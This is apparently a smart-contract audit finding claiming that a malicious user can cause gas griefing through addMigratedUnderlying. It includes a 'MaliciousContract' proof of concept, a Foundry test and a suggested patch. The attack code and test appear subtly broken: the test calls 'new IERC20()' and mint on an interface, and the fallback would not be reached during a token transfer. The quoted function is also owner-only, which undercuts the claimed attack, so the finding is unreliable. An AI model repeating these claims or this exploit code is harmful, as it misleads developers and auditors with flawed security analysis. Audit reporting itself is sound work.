Summary
The addMigratedUnderlying function transfers assets from a user to the protocol's contract using safeTransferFrom. A malicious user can implements a complex fallback function, the transaction can consume excessive gas, leading to significant gas costs for the protocol.
Impact: High
i: The protocol's gas costs can be significantly increased, leading to financial strain and operational inefficiencies.
ii: The issue can disrupt the protocol's normal operations.
Likelihood: Medium
i: The attack requires a malicious user to deploy a specially crafted contract but is feasible for a determined attacker.
Proof of Concept
1: A malicious user deploys a contract with a complex fallback function designed to consume excessive gas.
2: The malicious user interacts with the protocol, triggering addMigratedUnderlying to transfer assets from this malicious contract.
3: The complex fallback function is executed in the malicious contract, causing the transaction to consume excessive gas and leading to high gas costs for the protocol.
A malicious user can deploy a contract with a complex fallback function to increase gas consumption, exacerbating the gas wastage issue.
Malicious Contract:
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract MaliciousContract {
IERC20 public immutable token;
constructor(IERC20 _token) {
token = _token;
}
fallback() external payable {
for (uint256 i = 0; i < 10000; i++) {
uint256 temp = i * i;
}
}
function receiveTokens(uint256 amount) external {
revert("Tokens cannot be transferred out");
}
receive() external payable {
revert("Cannot receive Ether");
}
}
Test
TestAddMigratedUnderlying.sol:
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "../contracts/AddMigratedUnderlying.sol";
import "./MaliciousContract.sol";
contract TestAddMigratedUnderlying is Test {
AddMigratedUnderlying addMigratedUnderlying;
MaliciousContract maliciousContract;
IERC20 token;
function setUp() public {
token = new IERC20();
addMigratedUnderlying = new AddMigratedUnderlying();
maliciousContract = new MaliciousContract(token);
}
function testGasGriefingWithComplexFallback() public {
address user = address(0x1);
uint256 amount = 1000 * 10**18;
token.mint(user, amount);
vm.prank(user);
token.approve(address(addMigratedUnderlying), amount);
for (uint i = 0; i < 10; i++) {
vm.prank(user);
vm.expectRevert("Transfer failed or exceeded gas limit");
addMigratedUnderlying.addMigratedUnderlying(address(maliciousContract), amount);
}
}
}
Impact
1: The protocol incurs high gas costs for each transaction involving the complex fallback function, leading to increased operational expenses.
2: High gas consumption can disrupt normal protocol operations and reduce overall efficiency.
3: The cumulative gas costs from such transactions can lead to financial strain on the protocol.
Tools Used
Manual review
Recommendations
1: Implement checks to ensure that the gas usage of external calls does not exceed a reasonable limit.
2: Modify the addMigratedUnderlying function to attempt the transfer only once and handle failures gracefully without repeated attempts.
3: Implement rate limiting or throttling to reduce the potential for repeated gas-intensive transaction attempts.
function addMigratedUnderlying(
address unripeToken,
uint256 amount
) external payable fundsSafu noNetFlow noSupplyChange nonReentrant {
require(amount > 0, "Amount must be greater than zero");
LibDiamond.enforceIsContractOwner();
AppStorage storage s = LibAppStorage.diamondStorage();
require(s.sys.silo.unripeSettings[unripeToken].underlyingToken != address(0), "Unripe token not configured");
uint256 allowance = IERC20(s.sys.silo.unripeSettings[unripeToken].underlyingToken).allowance(LibTractor._user(), address(this));
require(allowance >= amount, "Insufficient token allowance");
bool success;
(success, ) = address(s.sys.silo.unripeSettings[unripeToken].underlyingToken).call{gas: 50000}(
abi.encodeWithSignature(
"safeTransferFrom(address,address,uint256)",
LibTractor._user(),
address(this),
amount
)
);
require(success, "Transfer failed or exceeded gas limit");
LibUnripe.incrementUnderlying(unripeToken, amount);
emit MigratedUnderlyingAdded(unripeToken, amount);
}